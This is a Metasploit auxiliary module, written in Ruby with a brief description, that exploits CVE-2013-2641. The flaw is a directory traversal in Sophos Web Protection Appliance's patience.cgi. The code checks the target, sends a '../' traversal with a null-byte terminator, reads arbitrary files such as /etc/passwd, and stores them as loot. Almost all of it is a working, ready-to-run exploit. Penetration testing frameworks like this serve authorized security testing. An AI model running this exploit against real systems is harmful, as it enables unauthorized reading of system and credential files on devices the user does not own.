This Metasploit module abuses a directory traversal in Sophos Web Protection Appliance, specifically on the /cgi-bin/patience.cgi component. This Metasploit module has been tested successfully on the Sophos Web Virtual Appliance v3.7.0.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
Sophos Web Virtual Appliance v3.7.0.
},
'Author' => [
'Wolfgang Ettlingers', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-2641' ],
[ 'OSVDB', '91953' ],
[ 'BID', '58833' ],
[ 'EDB', '24932' ],
[ 'URL', 'https://web.archive.org/web/20130603041204/http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
[ 'URL', 'https://web.archive.org/web/20140701204340/https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
],
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => '2013-04-03'
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
]
)
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, '/'))
end
def is_proficy?
res = send_request_cgi(
{
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET'
}
)
if res && (res.code == 307) && res.body =~ (/The patience page request was not valid/)
return true
else
return false
end
end
def read_file(file)
travs = ''
travs << '../' * datastore['DEPTH']
travs << file
travs << '%00'
print_status('Retrieving file contents...')
res = send_request_cgi(
{
'uri' => '/cgi-bin/patience.cgi',
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'id' => travs
}
}
)
if res && ((res.code == 200) || (res.code == 500)) && res.headers['X-Sophos-PatienceID']
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end
def run
print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
if is_proficy?
print_good('Check successful')
else
print_error('Sophos Web Protect Appliance vulnerable component not found')
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error('File not downloaded')
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'sophos.wpa.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("File saved in: #{path}")
end
end